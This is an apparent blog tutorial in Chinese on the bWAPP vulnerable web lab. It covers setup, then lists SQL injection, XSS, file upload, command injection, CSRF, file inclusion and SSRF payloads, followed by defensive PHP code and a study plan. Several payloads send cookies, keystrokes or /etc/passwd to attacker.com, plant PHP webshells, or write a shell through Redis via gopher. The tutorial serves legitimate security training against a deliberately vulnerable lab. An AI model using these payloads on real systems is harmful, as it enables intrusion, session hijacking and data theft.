news 2026/1/10 12:33:03

bWAPP漏洞靶场实战教程

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
bWAPP漏洞靶场实战教程

bWAPP漏洞靶场实战教程

一、bWAPP概述

1.1 什么是bWAPP

bWAPP(Buggy Web Application)是一个集成了100+种Web漏洞的PHP/MySQL靶场,由安全专家Malik Mesellem开发。它专为Web安全学习、演示和测试设计,是极佳的教学工具。

1.2 核心特点

  • 100+个漏洞场景:覆盖OWASP Top 10所有漏洞
  • 多种难度级别:Low/Medium/High三个级别
  • 真实环境:模拟实际Web应用
  • 教育友好:包含Hints和解决方案
  • 开源免费:基于GPLv3协议

二、环境搭建

2.1 虚拟机方式(推荐)

# 下载bWAPP虚拟机# 官方下载:http://www.itsecgames.com/# 或使用Bee-box(集成了bWAPP)wgethttps://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z# 解压并使用VirtualBox/VMware导入# 默认登录:# URL: http://192.168.0.1/# 账号: bee / bug# 安全等级: 默认Medium

2.2 Docker部署

# 方法一:直接运行docker run -d -p80:80 raesene/bwapp# 方法二:使用docker-composeversion:'3'services: bwapp: image: raesene/bwapp ports: -"80:80"environment: -MYSQL_PASSWORD=bug

2.3 本地部署(XAMPP/WAMP)

# 1. 下载bWAPP源码wgethttps://sourceforge.net/projects/bwapp/files/latest/download# 2. 解压到htdocs目录unzipbWAPP_latest.zip -d /opt/lampp/htdocs/bwapp/# 3. 访问安装页面http://localhost/bwapp/install.php# 4. 配置数据库数据库:localhost 用户名:root 密码:(空) 数据库名:bWAPP# 5. 默认登录凭证用户名:bee 密码:bug

三、界面导航与配置

3.1 首次使用设置

  1. 登录系统:使用bee/bug登录
  2. 选择漏洞类型:"Choose your bug"下拉菜单
  3. 设置安全级别
    • Low:无防护,用于学习原理
    • Medium:基础防护,需简单绕过
    • High:较强防护,需要高级技术
  4. 访问Hints:点击"Hints"获取漏洞提示

3.2 管理功能

-- 管理后台:http://[ip]/admin.php-- 默认管理员:admin/bug-- 查看用户表SELECT*FROMusers;-- bee/bug(普通用户)-- admin/bug(管理员)-- smith/bug(测试用户)

四、核心漏洞实战

4.1 SQL注入漏洞家族

4.1.1 基于错误的注入(Error-Based)

Low级别:

-- 基础注入' OR '1'='1-- 获取数据' UNION SELECT 1,2,3,4,5,6,7,8 -- -- 获取数据库信息 'UNIONSELECT1,database(),user(),version(),5,6,7,8---- 获取表名' UNION SELECT 1,table_name,3,4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database() -- -- 获取列名 'UNIONSELECT1,column_name,3,4,5,6,7,8FROMinformation_schema.columnsWHEREtable_name='users'---- 获取数据'UNIONSELECT1,login,password,4,5,6,7,8FROMusers--
4.1.2 盲注(Blind SQLi)
-- 布尔盲注' AND 1=1 -- 'AND1=2---- 基于时间的盲注' AND IF(1=1,SLEEP(5),0) -- 'ANDIF(SUBSTRING(database(),1,1)='b',SLEEP(5),0)---- 逐字符获取数据'ANDIF(ASCII(SUBSTRING((SELECTloginFROMusersLIMIT0,1),1,1))=98,SLEEP(3),0)--
4.1.3 SQLi绕过技巧
-- 注释绕过admin' -- admin'#admin' /* -- 编码绕过 'OR1=1-- URL编码%27%20%4F%52%20%31%3D%31%20%2D%2D-- 双写绕过(针对关键字过滤)' UNUNIONION SELSELECTECT 1,2 -- -- 大小写绕过 'Or1=1--' oR 1=1 -- -- 等价函数绕过 'ORTRUE--'OR1--

4.2 XSS漏洞家族

4.2.1 反射型XSS
// 基础payload<script>alert(document.domain)</script>// 窃取Cookie<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>// 短payload<svg onload=alert(1)><img src=x onerror=alert(1)>// DOM XSS#<img src=x onerror=alert(1)>javascript:alert(document.cookie)
4.2.2 存储型XSS
// 评论区注入<script>alert('Stored XSS')</script>// 窃取用户会话<script>varimg=newImage();img.src='http://attacker.com/steal?cookie='+document.cookie;</script>// 键盘记录器<script>document.onkeypress=function(e){newImage().src='http://attacker.com/log?key='+e.key;}</script>
4.2.3 XSS高级绕过
// 编码绕过<IMGSRC=j&#X41vascript:alert('test')>// 事件处理器<body onload=alert(1)><input onfocus=alert(1)autofocus>// iframe注入<iframe src="javascript:alert(document.domain)">// SVG XSS<svg><script>alert(1)</script></svg><svg><animate onbegin=alert(1)attributeName=x dur=1s>

4.3 文件上传漏洞

4.3.1 基础绕过
# 修改扩展名绕过shell.php.jpg shell.php.png shell.pHp# 双扩展名shell.php.jpg.php# 空字节绕过(PHP<5.3.4)shell.php%00.jpg# .htaccess攻击# 上传.htaccess文件:AddType application/x-httpd-php .jpg# 然后上传shell.jpg(实际是PHP文件)
4.3.2 Content-Type绕过
POST /bWAPP/upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123456 ------WebKitFormBoundary123456 Content-Disposition: form-data; name="uploaded"; filename="shell.php" Content-Type: image/jpeg # 伪装成图片 <?php system($_GET['cmd']); ?>
4.3.3 文件内容绕过
# 使用图片马# 创建包含PHP代码的图片exiftool-Comment="<?php system(\$_GET['cmd']); ?>"image.jpg# GIF图片头绕过GIF89a;<?phpsystem($_GET['cmd']);?>

4.4 命令注入

4.4.1 基础注入
# 执行多条命令127.0.0.1&&whoami127.0.0.1|cat/etc/passwd127.0.0.1;ls-la# 命令替换127.0.0.1&&$(cat/etc/passwd)127.0.0.1&&`whoami`
4.4.2 盲注技术
# 基于时间的盲注127.0.0.1&&sleep5127.0.0.1&&ping-c5127.0.0.1# 带外数据外泄127.0.0.1&&nslookup$(whoami).attacker.com127.0.0.1&&curlhttp://attacker.com/$(cat/etc/passwd|base64)
4.4.3 绕过过滤
# 空格绕过127.0.0.1&&{cat,/etc/passwd}127.0.0.1;cat$IFS/etc/passwd# 关键字绕过127.0.0.1&&a=c;b=at;c=/etc/passwd;$a$b$c127.0.0.1&&wh''oami127.0.0.1&&who$(echoam)i# 编码绕过127.0.0.1&&`echo"d2hvYW1p"|base64 -d`

4.5 CSRF攻击

4.5.1 基础CSRF
<!-- 简单GET请求 --><imgsrc="http://localhost/bWAPP/csrf_1.php?password_new=hacked&password_conf=hacked"width="0"height="0"><!-- POST表单 --><formaction="http://localhost/bWAPP/csrf_2.php"method="POST"id="csrf"><inputtype="hidden"name="password_new"value="hacked"><inputtype="hidden"name="password_conf"value="hacked"></form><script>document.getElementById('csrf').submit()</script>
4.5.2 高级CSRF
<!-- JSON CSRF --><script>fetch('http://localhost/bWAPP/rest-api/change-password',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({newPassword:'hacked'})})</script><!-- 使用XHR --><script>varxhr=newXMLHttpRequest();xhr.open('POST','http://localhost/bWAPP/change-email',true);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.send('email=attacker@evil.com');</script>

五、其他重要漏洞

5.1 文件包含

# 本地文件包含http://localhost/bWAPP/fi.php?page=../../../etc/passwdhttp://localhost/bWAPP/fi.php?page=php://filter/convert.base64-encode/resource=index.php# 远程文件包含http://localhost/bWAPP/fi.php?page=http://attacker.com/shell.txt# 日志文件包含http://localhost/bWAPP/fi.php?page=../../../var/log/apache2/access.log# /proc文件包含http://localhost/bWAPP/fi.php?page=../../../proc/self/environ

5.2 不安全的直接对象引用(IDOR)

# 水平越权 GET /bWAPP/idor_1.php?movie=1 # 自己的电影 GET /bWAPP/idor_1.php?movie=2 # 他人电影 # 垂直越权 GET /bWAPP/admin/users.php # 普通用户访问管理员页面 # 批量遍历 GET /bWAPP/idor_2.php?account=100 GET /bWAPP/idor_2.php?account=101 GET /bWAPP/idor_2.php?account=102

5.3 SSRF攻击

# 基础SSRF http://localhost/bWAPP/ssrf.php?url=file:///etc/passwd http://localhost/bWAPP/ssrf.php?url=http://169.254.169.254/latest/meta-data/ # 端口扫描 http://localhost/bWAPP/ssrf.php?url=http://127.0.0.1:22 http://localhost/bWAPP/ssrf.php?url=http://127.0.0.1:3306 # 协议处理 gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

六、自动化工具实战

6.1 SQLMap

# 基础检测sqlmap -u"http://localhost/bWAPP/sqli_1.php?title=test&action=search"--cookie="PHPSESSID=xxx; security_level=0"# 获取数据库sqlmap -u"http://localhost/bWAPP/sqli_1.php"--data="title=test&action=search"--cookie="PHPSESSID=xxx"--dbs# 获取表sqlmap -u"http://localhost/bWAPP/sqli_1.php"--data="title=test&action=search"--cookie="PHPSESSID=xxx"-D bWAPP --tables# 获取数据sqlmap -u"http://localhost/bWAPP/sqli_1.php"--data="title=test&action=search"--cookie="PHPSESSID=xxx"-D bWAPP -Tusers--dump# 自动化测试sqlmap -u"http://localhost/bWAPP/sqli_1.php"--data="title=test&action=search"--cookie="PHPSESSID=xxx"--batch --level=5--risk=3

6.2 XSStrike

# XSS自动化检测python3 xsstrike.py -u"http://localhost/bWAPP/xss_get.php?name=test"# 使用爬虫模式python3 xsstrike.py -u"http://localhost/bWAPP"--crawl# 暴力破解参数python3 xsstrike.py -u"http://localhost/bWAPP/xss_get.php"--params"name"

6.3 Commix

# 命令注入自动化检测python3 commix.py -u"http://localhost/bWAPP/commandi.php?target=127.0.0.1"# 获取shellpython3 commix.py -u"http://localhost/bWAPP/commandi.php"--data="target=127.0.0.1"--os-shell

七、防御代码分析

7.1 SQL注入防护

// Low级别(无防护)$sql="SELECT * FROM movies WHERE title LIKE '%".$_GET["title"]."%'";// Medium级别(mysql_real_escape_string)$title=mysql_real_escape_string($_GET["title"]);$sql="SELECT * FROM movies WHERE title LIKE '%".$title."%'";// High级别(预处理语句)$stmt=$mysqli->prepare("SELECT * FROM movies WHERE title LIKE ?");$search="%".$_GET["title"]."%";$stmt->bind_param("s",$search);$stmt->execute();

7.2 XSS防护

// Low级别(无防护)echo$_GET["name"];// Medium级别(strip_tags)echostrip_tags($_GET["name"]);// High级别(htmlspecialchars)echohtmlspecialchars($_GET["name"],ENT_QUOTES,"UTF-8");// 额外防护:CSP头header("Content-Security-Policy: default-src 'self'");

7.3 文件上传防护

// High级别防护$allowed_types=array("image/jpeg","image/png","image/gif");$max_size=512000;// 500KB$upload_dir="uploads/";// 检查文件类型if(!in_array($_FILES["file"]["type"],$allowed_types)){die("Invalid file type!");}// 检查文件大小if($_FILES["file"]["size"]>$max_size){die("File too large!");}// 重命名文件$extension=pathinfo($_FILES["file"]["name"],PATHINFO_EXTENSION);$new_filename=md5(uniqid()).".".$extension;// 移动文件move_uploaded_file($_FILES["file"]["tmp_name"],$upload_dir.$new_filename);

八、实战演练计划

阶段1:基础漏洞(第1周)

  • SQL注入(所有类型)
  • XSS(反射型、存储型)
  • 命令注入
  • 文件上传
  • 文件包含

阶段2:进阶漏洞(第2周)

  • 盲注攻击
  • CSRF攻击
  • SSRF攻击
  • IDOR漏洞
  • XXE漏洞

阶段3:组合攻击(第3周)

  • SQLi -> 获取数据库 -> 文件写入 -> WebShell
  • XSS -> 窃取Cookie -> 会话劫持
  • 文件上传 -> 命令执行 -> 权限提升

阶段4:防御绕过(第4周)

  • WAF绕过技术
  • 编码绕过
  • 逻辑漏洞利用
  • 自动化工具使用

九、学习资源

官方资源

  • 官方网站:http://www.itsecgames.com/
  • GitHub仓库:https://github.com/raesene/bWAPP
  • 官方文档:http://www.itsecgames.com/download.htm

扩展学习

  1. DVWA:适合初学者的简单靶场
  2. WebGoat:OWASP官方教学靶场
  3. Juice Shop:现代Web应用靶场
  4. PentesterLab:专业渗透练习平台

工具推荐

  1. Burp Suite:Web渗透测试神器
  2. OWASP ZAP:开源Web应用扫描器
  3. SQLMap:SQL注入自动化工具
  4. XSSHunter:XSS漏洞利用平台

十、安全实践建议

10.1 测试环境配置

# 创建专用网络docker network create bwapp-net docker run -d --network bwapp-net --name bwapp raesene/bwapp# 使用虚拟机快照# 测试前创建快照,测试后恢复

10.2 合法授权

  1. 仅限本地测试:不要在生产环境测试
  2. 明确授权:获得明确书面授权
  3. 遵守法律:了解当地网络安全法规
  4. 道德约束:不为恶意目的使用技能

10.3 学习记录

# 漏洞测试记录模板 ## 漏洞名称: ## 测试时间: ## 安全等级: ## 漏洞URL: ## 攻击Payload: ## 测试步骤: ## 防御措施: ## 学习心得:

通过bWAPP的系统学习,你将掌握100+种Web漏洞的利用和防御技术。建议按照漏洞类型逐步深入,每个漏洞都要尝试三个安全级别,理解不同防护措施的差异。理论与实践结合,才能真正提升Web安全能力!

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2025/12/17 1:13:26

LobeChat实时流式输出实现原理剖析

LobeChat 实时流式输出实现原理剖析 在构建现代 AI 聊天应用的今天&#xff0c;用户早已不再满足于“发送问题、等待答案”的传统交互模式。当大语言模型&#xff08;LLM&#xff09;开始进入千家万户&#xff0c;用户体验的边界也被不断拉高——人们期望看到文字像人类打字一…

作者头像 李华
网站建设 2025/12/17 1:13:10

人人都在谈大模型,但90%的企业AI转型,都死在了数据这一关

从CEO到一线员工&#xff0c;几乎所有人都在热烈地讨论着大模型的最新进展和各种眼花缭乱的AI应用。我们仿佛进入了一个模型为王的时代&#xff0c;似乎只要接入最强的模型&#xff0c;就能解决所有问题。但现实是残酷的。 为什么很多企业AI项目总是做不出来&#xff1f; 我们也…

作者头像 李华
网站建设 2025/12/17 1:12:08

机器学习--线性回归

1、线性回归定义线性回归是利用数理统计中回归分析&#xff0c;来确定两种或两种以上变量间相互依赖的定量关系的一种统计分析方法。相关关系:包含因果关系和平行关系因果关系:回归分析【原因引起结果&#xff0c;需要明确自变量和因变量平行关系:相关分析【无因果关系&#xf…

作者头像 李华
网站建设 2026/1/8 1:38:00

LobeChat系统稳定性承诺书

LobeChat系统稳定性与架构深度解析 在生成式AI迅猛发展的今天&#xff0c;大语言模型&#xff08;LLMs&#xff09;早已不再是研究实验室里的“黑箱”&#xff0c;而是逐步走进千家万户的生产力工具。然而&#xff0c;一个常被忽视的问题是&#xff1a;再强大的模型&#xff0…

作者头像 李华
网站建设 2025/12/17 1:10:40

代码之恋(第十二篇:公开的合并与意外的提交)

周一的 办公室&#xff0c;晨光刚漫过工位隔板&#xff0c;咖啡机还在 “咕嘟咕嘟” 预热&#xff0c;空气里飘着速溶咖啡和隔夜外卖的混合气味 —— 典型的 “节后重启失败” 现场。李磊站在电梯口等艾丽&#xff0c;指尖无意识地摩挲着手机壳边缘&#xff0c;心里像跑着十个异…

作者头像 李华